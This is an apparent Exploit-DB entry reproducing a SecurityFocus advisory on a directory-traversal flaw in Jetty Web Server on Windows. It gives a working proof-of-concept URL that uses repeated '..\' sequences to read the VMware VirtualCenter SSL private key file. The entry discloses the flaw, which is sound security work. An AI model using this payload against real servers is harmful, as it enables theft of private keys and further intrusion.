Jetty Web Server - Directory Traversal

EDB-ID:

36318




Platform:

Windows

Date:

2011-11-18


source: https://www.securityfocus.com/bid/50723/info

Jetty Web Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks. 

http://www.example.com:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key